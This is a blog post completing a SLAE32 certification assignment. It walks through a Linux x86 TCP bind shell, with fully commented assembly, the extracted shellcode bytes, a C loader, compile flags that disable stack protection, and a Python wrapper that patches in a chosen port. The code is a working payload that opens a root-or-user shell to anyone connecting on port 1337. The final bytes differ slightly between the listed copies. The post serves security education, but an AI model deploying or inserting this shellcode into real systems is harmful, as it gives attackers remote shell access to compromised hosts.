Thumbnail: logo

SLAE32 - Assignment 1 - TCP bind shell

by on



This is the first of a series of seven posts about the SLAE certification.
If you are not familiar with it, please visit this page

The first assignment asks to develop, comment and optimise a TCP bind shell code Requirements:

  • Binds to a local port
  • Execs shell upon an incoming connection
  • Easily supply port number (via wrapper)

As a starting point I have deliberately took inspiration from C code at RCE Security (I suggest to read the full post, which is extremely detailed and goes through each and every system call/function call conversion.). Also,you can find here a reference of all linux system calls, which comes to aid when converting a C program into IA32.


What a TCP bind shell is doing, is to open a socket on the local machine and make it available from an external attacker, which can then connect and gain shell access.
These are the action performed that need to be assembly converted.

  1. Create a socket
  2. Bind it to an address/port
  3. Listen for incoming connections
  4. Accept a new connection
  5. Redirect stdin, stdout and stderr via dup2
  6. Execve a /bin/sh

Let’s start with the full commented shellcode

global _start

section .text
_start:

;
; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
;
push 0x66
pop eax   ;syscall: sys_socketcall + cleanup eax register
push 0x1 ;function call 0x01 for above syscall
pop ebx ;sys_socket (0x1) + cleanup ebx register
xor esi, esi ;cleanup esi register
push esi ;protocol=IPPROTO_IP (0x0)
push ebx ;socket_type=SOCK_STREAM (0x1) still holgind 0x1
push 0x2 ;socket_family=AF_INET (IPv4 address family)
mov ecx, esp ;save pointer (ESP) to socket() args (ECX)
int 0x80 ;exec SYS_SOCKET

; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
pop edi ; pop 0x2 to edi
xchg edi, eax; save eax result 0x2 (sockfd) for later usage in EDI
xchg ebx, eax ;sys_bind (0x2)
mov al, 0x66 ;syscall: sys_socketcall
push esi         ;sin_addr=0 (INADDR_ANY)
push word 0x3905 ;sin_port=1337 (network byte order)
push word bx     ;sin_family=AF_INET (0x2)
mov ecx, esp     ;save pointer to sockaddr_in struct
push 0x10 ;addrlen=16
push ecx  ;struct sockaddr pointer (from previous ESI)
push edi  ;sockfd 0x02
mov ecx, esp ;save pointer to bind() args
int 0x80 ;exec SYS_BIN

; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);
;
mov al, 0x66 ;syscall 102 (sys_socketcall)
mov bl, 0x4  ;sys_listen
push esi ;backlog=0
push edi ;sockfd
mov ecx, esp ;save pointer to listen() args
int 0x80 ;exec SYS_LISTEN

; int socketcall(int call, unsigned long *args);
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
;
mov al, 0x66 ;syscall: sys_socketcall
inc ebx      ;sys_accept (0x5)
push esi ;addrlen=0
push esi ;addr=0
push edi ;sockfd
mov ecx, esp ;save pointer to accept() args
int 0x80 ;exec sys_accept
pop ecx ;dummy-pop to get to the next 0x0
pop ecx ;make sure that ecx contains 0x0 to get the next mov working (sockfd might be greater that 0xFF)
mov cl, 0x2 ;initiate counter
xchg ebx,eax ;save clientfd

; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2)
loop:
    mov al, 0x3f ;syscall: sys_dup2
    int 0x80     ;exec sys_dup2
    dec ecx      ;decrement loop-counter
    jns loop     ;as long as SF is not set -> jmp to loop

; int execve(const char *filename, char *const argv[],char *const envp[]);
mov al, 0x0b ;syscall: sys_execve

; terminating NULL is already on the stack
push 0x68732f2f    ;"hs//"
push 0x6e69622f    ;"nib/"
inc ecx      ;argv=0, ecx is 0xffffffff (+SF is set)
mov edx, ecx ;make sure edx contains 0
mov ebx, esp ;save pointer to filename
int 0x80 ; exec sys_execve


Now it’s time to test out our shellcode.
First we have to assemble and link the NASM file, so let’s use a bash script for that:

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -z execstack -o $1 $1.o

echo '[+] Done!'

Next, it’s time to extract the shellcode using our friend commandlinefu

#objdump -d ./bind_shell_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x41\x89\xca\x89\xe3\xcd\x80"


We check there is no null-byte presence which can break program execution and, if so, we can happily pasted into the C shellcode generator template:

#include<stdio.h>

unsigned char shellcode[] = \
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;
    ret();

}


and compile with:

gcc shellcode.c -o linux_x86_shell_bind_tcp -fno-stack-protector -z execstack -m32

To fulfill the last point of the assignment, I have simplified the python wrapper which is responsible to insert user-supplied port into the shellcode, and added a shellcode length check.

import sys


total = len(sys.argv)
if total != 2:
    print "[+] Usage %s <tcp bind port>" % sys.argv[0]
    sys.exit()

else:
    try:
    	port = int(sys.argv[1])
    	if port > 65535:
    		print "Cannot bind a port greater than 65535!"
    		sys.exit()
    	if port < 1024:
    		print "Port is smaller than 1024! Need to be root for that"
    		sys.exit()		
        # convert integer argv port to hex and stuff with leading zeroes if port hex length is < 4
    	hexport = hex(port)[2:].zfill(4)
    	print "\nPort hex value: \t\t" + hexport

        # split hexport in two parts to check for null byte
    	b1 = hexport[0:2]
    	b2 = hexport[2:4]

    	if b1 == "00" or b2 == "00":
    		print "Port contains \\x00!"
    		exit()

        # add leading zero if nibble-only value
    	if len(b1) < 2:
    		b1="\\x0" + b1
    	if len(b1) == 2:
    		b1="\\x" + b1
    	if len(b2) < 2:
    		b2="\\x0" + b2
    	if len(b2) == 2:
    		b2="\\x" + b2

    	shellport=b1+b2

    	print "\nShellcode-ready port:\t\t" + shellport

    	shellcode = bytearray("\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xf6"+
    	"\\x56\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80"+
    	"\\x5f\\x97\\x93\\xb0\\x66\\x56\\x66\\x68"+
    	shellport+"\\x66\\x53\\x89\\xe1\\x6a\\x10"+
    	"\\x51\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66"+
    	"\\xb3\\x04\\x56\\x57\\x89\\xe1\\xcd\\x80"+
    	"\\xb0\\x66\\x43\\x56\\x56\\x57\\x89\\xe1"+
    	"\\xcd\\x80\\x59\\x59\\xb1\\x02\\x93\\xb0"+
    	"\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\\x0b"+
    	"\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62"+
    	"\\x69\\x6e\\x89\\xe3\\x41\\x89\\xca\\xcd"+
    	"\\x80")

    	print "\nFinal shellcode:\n" + "\"" + shellcode + "\""
        print "\nShellocde length is:\t\t" + str(len(shellcode)/4) + "\n"
    except:
        print "Something went wrong - exiting..."

My assignment code can be found here: here



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-5837

exploit, SLAE, shellcode, security, x86IA


© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.